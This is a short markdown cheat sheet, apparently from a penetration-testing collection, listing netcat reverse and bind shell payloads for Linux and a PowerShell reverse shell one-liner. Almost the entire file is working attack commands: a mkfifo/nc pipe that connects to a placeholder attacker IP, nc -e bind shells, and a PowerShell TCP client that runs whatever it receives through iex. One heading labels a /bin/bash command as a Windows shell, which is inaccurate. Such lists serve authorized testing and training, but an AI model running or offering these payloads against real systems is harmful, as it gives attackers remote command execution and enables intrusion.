killchain-compendium/Reverse Shells/netcat.md

netcat reverse shells

Payloads

linux reverse shell

mkfifo /tmp/f; nc <attacker-ip> <attacker-port> < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f

windows bind shell

nc -lvnp <PORT> -e /bin/bash

linux bind shell

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

nc -lvnp <PORT> -e /bin/sh

powershell reverse shell

• starts the powershell, can be used in cmd.exe as well

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"